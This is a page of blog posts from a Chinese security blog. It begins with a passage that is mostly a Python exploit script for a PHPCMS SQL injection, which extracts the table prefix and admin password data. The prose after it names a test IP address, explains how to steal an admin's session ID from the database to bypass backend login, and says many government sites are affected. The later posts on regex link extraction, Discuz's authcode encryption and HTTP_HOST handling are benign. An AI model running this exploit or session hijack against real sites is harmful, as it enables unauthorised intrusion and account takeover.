
cookies = {}

for c in requests.get(setp1).cookies:

if c.name[-7:] == '_siteid':

cookie_head = c.name[:6]

cookies[cookie_head+'_userid'] = c.value

cookies[c.name] = c.value

print '[+] Get Cookie : ' + str(cookies)

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_info, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

table_prefix = html[html.find('_download_data')-2:html.find(    '_download_data')]

print '[+] Get Table Prefix : ' + table_prefix

setp2 = url + '/index.php?m=attachment&c=attachments&a=swfupload_json&aid=1&src=%26id=' + sqli_prefix + urllib.quote_plus(sqli_password1, safe='qwertyuiopasdfghjklzxcvbnm*') + table_prefix + urllib.quote_plus(sqli_password2, safe='qwertyuiopasdfghjklzxcvbnm*') + sqli_padding

for c in requests.get(setp2,cookies=cookies).cookies:

if c.name[-9:] == '_att_json':

sqli_payload = c.value

print '[+] Get SQLi Payload : ' + sqli_payload

setp3 = url + '/index.php?m=content&c=down&a_k=' + sqli_payload

html = requests.get(setp3,cookies=cookies).content

print '[+] Get SQLi Output : ' + html.split('luan$')[1]

exp也是别人分享给我的

看起来作者应该是luan

测试地址:

122.9.16.209


成功截图:

不过呢,众所周知

phpcms的密文特别难解密

所以有个配合使用的方法

通过sql注入漏洞读取数据库信息

但是不能破解密码的情况下

可以绕过后台验证

phpcms数据库中表v9_session

保存着管理员登录的信息

而且字段sessionid保存着就是

已经登录管理后台的PHPSESSID

可以通过sql注入读取到这个值

并写入到自己的浏览器中。

直接访问后台地址:

/index.php?m=admin&c=index&a=public_menu_left

将数据库中的sessionid信息带入!

相关文章网上也有

最后,我还是觉得这个漏洞挺鸡肋的

至于哪里鸡肋请看官细细体会

还有几个更牛逼的漏洞也许

过几天就会有人放出来了

反正我不做第一个吃螃蟹的人了

怕被打死~

原文地址:https://zhuanlan.zhihu.com/p/26263513

PS:很多政府机关/事业单位都是phpcms,我批量检测里面有很多都中招了,赶紧升级吧!阿西吧...据说二月份就出来了...


Mrxn 发布于 2017-4-24 21:30

小计一个正则匹配提取实例之从网页中提取所有域内链接

比如某个网站包含如下的内容:


<select name="select7" class="textbox" style="width: 200px;" onchange="MM_jumpMenu('parent',this,0)">
          <option selected="selected">---------〖校内机构〗---------</option>
          <option>————管理机构————</option>
          <option value="/dzbgs/">党政办公室</option>
          <option value="/xcb/">党委组织宣传部</option>
          <option value="/rsc/">人事处</option>
          <option value="/jwc/">教务处</option>
          <option value="/xsc/">学生处(党委学工部)</option>
          <option value="/zsxx/">招生办公室</option>
          <option value="/jyb/">就业指导办公室</option>
          <option value="/cwc/">财务处</option>
          <option value="/zcc/">资产管理处</option>
                    <option value="/wsc/">国际合作交流处</option>
          <option value="/kyc/">科研处</option>
          <option value="/dds/">督导室</option>
          <option value="/zlpg/">质量监控与评估中心</option>
          <option value="/bwc/">保卫处(武装部、安全稳定办公室)</option>
          <option value="/hq/">后勤服务公司</option>

          <option>————教学机构————</option>
          <option value="/yyyyxy/">英语语院</option>
                              <option value="/dfyyyxy/">东方语学院</option>
                    <option value="/yayyxy/">西方语学院</option>
                    <option value="/gjsxy/">国际商学院</option>
          <option value="/gjwhjlxy/">文学与新闻传播学院</option>
          <option value="/gsgl/">管理学院</option>
          <option value="/ysxy/">艺术学院</option>
          <option value="/yyxy/">音乐学院</option>
          <option value="/szjyb/">思想政治理论教研部</option>
                 <option value="/tyb/">体育部</option>
                                     <option value="/jxjyxy/">继续教育学院</option>

          <option>————教辅机构————</option>
          <option value="/tsg/">图书馆</option>
          <option value="/net/">现代教育技术中心</option>

           <option>————教辅机构————</option>
          <option value="/gh/">工会</option>
          <option value="/tw/">团委</option>
        </select>

我们要提取你面的所有的内域的网址,就是value后面的值:"/tw/",手工不说,最为原始的方法,体力活我们要尽量少干,正则走起啊!


使用正则提取两个双引号之间的内容,正则表达式很简单:

/(.*)[A-Z-a-z]/


Mrxn_20170422_213938.png

这样我们提取出来了,可是没有加上域名啊,如何是好?答案就是继续正则啊,骚男不要犹豫,对于网页内内容,没有正则提取不了的(先吹个牛逼-_-|hh ):

(.?^/)


Mrxn_20170422_214045.png

直接批量替换每行的第一个斜杠为域名不就OK了,上图域名结尾少了个斜杠.别跳坑里了!效果如下,就好了,前前后不到一分钟搞定,收工,比我写这篇文章还快!

本来不想写的,这么久了没发文章,手痒痒,凑个数!仅当笔记.


http://www.xxxx.com/dzbgs/
http://www.xxxx.com/xcb/
http://www.xxxx.com/rsc/
http://www.xxxx.com/jwc/
http://www.xxxx.com/xsc/
http://www.xxxx.com/zsxx/
http://www.xxxx.com/jyb/
http://www.xxxx.com/cwc/
http://www.xxxx.com/zcc/
http://www.xxxx.com/wsc/
http://www.xxxx.com/kyc/
http://www.xxxx.com/dds/
http://www.xxxx.com/zlpg/
http://www.xxxx.com/bwc/
http://www.xxxx.com/hq/
http://www.xxxx.com/yyyyxy/
http://www.xxxx.com/dfyyyxy/
http://www.xxxx.com/yayyxy/
http://www.xxxx.com/gjsxy/
http://www.xxxx.com/gjwhjlxy/
http://www.xxxx.com/gsgl/
http://www.xxxx.com/ysxy/
http://www.xxxx.com/yyxy/
http://www.xxxx.com/szjyb/
http://www.xxxx.com/tyb/
http://www.xxxx.com/jxjyxy/
http://www.xxxx.com/tsg/
http://www.xxxx.com/net/
http://www.xxxx.com/gh/
http://www.xxxx.com/tw/

好了,牛逼吹完了,洗洗睡了.我们下回见,对于不懂得正则可以评论,我可以帮你试试哦!

PS: 牛逼的娃娃们不要乱搞,这是我测试项目的.谢谢!


标签: 代码 正则

Mrxn 发布于 2017-4-22 21:27

Discuz 加密解密函数 authcode
PHP

<?php
/**
 * $string 明文或密文
 * $operation 加密ENCODE或解密DECODE
 * $key 密钥
 * $expiry 密钥有效期
 */ 
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0) {
    // 动态密匙长度,相同的明文会生成不同密文就是依靠动态密匙
    // 加入随机密钥,可以令密文无任何规律,即便是原文和密钥完全相同,加密结果也会每次不同,增大破解难度。
    // 取值越大,密文变动规律越大,密文变化 = 16 的 $ckey_length 次方
    // 当此值为 0 时,则不产生随机密钥
    $ckey_length = 4;

    // 密匙
    // $GLOBALS['discuz_auth_key'] 这里可以根据自己的需要修改
    $key = md5($key ? $key : $GLOBALS['discuz_auth_key']); 

    // 密匙a会参与加解密
    $keya = md5(substr($key, 0, 16));
    // 密匙b会用来做数据完整性验证
    $keyb = md5(substr($key, 16, 16));
    // 密匙c用于变化生成的密文
    $keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';
    // 参与运算的密匙
    $cryptkey = $keya.md5($keya.$keyc);
    $key_length = strlen($cryptkey);
    // 明文,前10位用来保存时间戳,解密时验证数据有效性,10到26位用来保存$keyb(密匙b),解密时会通过这个密匙验证数据完整性
    // 如果是解码的话,会从第$ckey_length位开始,因为密文前$ckey_length位保存 动态密匙,以保证解密正确
    $string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;
    $string_length = strlen($string);
    $result = '';
    $box = range(0, 255);
    $rndkey = array();
    // 产生密匙簿
    for($i = 0; $i <= 255; $i++) {
        $rndkey[$i] = ord($cryptkey[$i % $key_length]);
    }
    // 用固定的算法,打乱密匙簿,增加随机性,好像很复杂,实际上并不会增加密文的强度
    for($j = $i = 0; $i < 256; $i++) {
        $j = ($j + $box[$i] + $rndkey[$i]) % 256;
        $tmp = $box[$i];
        $box[$i] = $box[$j];
        $box[$j] = $tmp;
    }
    // 核心加解密部分
    for($a = $j = $i = 0; $i < $string_length; $i++) {
        $a = ($a + 1) % 256;
        $j = ($j + $box[$a]) % 256;
        $tmp = $box[$a];
        $box[$a] = $box[$j];
        $box[$j] = $tmp;
        // 从密匙簿得出密匙进行异或,再转成字符
        $result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));
    }
    if($operation == 'DECODE') {
        // substr($result, 0, 10) == 0 验证数据有效性
        // substr($result, 0, 10) - time() > 0 验证数据有效性
        // substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16) 验证数据完整性
        // 验证数据有效性,请看未加密明文的格式
        if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {
            return substr($result, 26);
        } else {
            return '';
        }
    } else {
        // 把动态密匙保存在密文里,这也是为什么同样的明文,生产不同密文后能解密的原因
        // 因为加密后的密文可能是一些特殊字符,复制过程可能会丢失,所以用base64编码
        return $keyc.str_replace('=', '', base64_encode($result));
    }
}

$a = "mrxn.net";
$b = authcode($a, "ENCODE", "abc123");
echo $b."<br/>";
echo authcode($b, "DECODE", "abc123");
?>

运行效果如下:

4582HxrlipjHXFJ8fCB42AzZN6N0A/S07AFgev8swj1a6Qy/fxhuJFM

mrxn.net

注:因学习需要,转载挡笔记.文章来源于网络.


Mrxn 发布于 2017-4-14 11:21

HP的$_SERVER['HTTP_HOST']获取服务器地址功能详解
PHP

uchome的index文件中的二级域名功能判断,使用了php的$_SERVER['HTTP_HOST'],开始对这个不是很了解,所以百度了一下,发现一篇帖子有点意思,转发过来做个记录。

在php中,我们一般通过$_SERVER['HTTP_HOST']来活得URL中网站的域名或者ip地址。

php手册中的解释如下:

“HTTP_HOST”

当前请求的 Host: 头信息的内容。

一般来说,这样子不会遇到什么问题,在一些常见的php框架中,如PFC3和FLEA也是基于该预定义变量。

然而最近在做的一个项目,程序移交到客户手里测试时,竟然发现程序的跳转总是会出错。

最后找出原因:$_SERVER['HTTP_HOST']在客户的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

究其原因,是因为,客户的公司通过一台服务器连接至因特网,而我们的程序所在的服务器,是通过域名映射出来的,也就是中间有个“代理”的过程。因此$_SERVER['HTTP_HOST']在这样的环境里,取得的值总是程序所在的服务器在其局域网内的ip值。

最后查了不少资料,在symfony框架里面,找到替代的实现方法:

$host = $_SERVER['HTTP_HOST'];

替换成:

$host = isset($_SERVER['HTTP_X_FORWARDED_HOST']) ? $_SERVER['HTTP_X_FORWARDED_HOST'] : (isset($_SERVER['HTTP_HOST']) ? $_SERVER['HTTP_HOST'] : '');

即可。

注:我刚好遇到这个问题,所以搜索找到了这篇文章,故转载以当作笔记.

原文地址:https://www.oschina.net/question/36370_14769


Mrxn 发布于 2017-4-12 19:11

搜索

日历

标签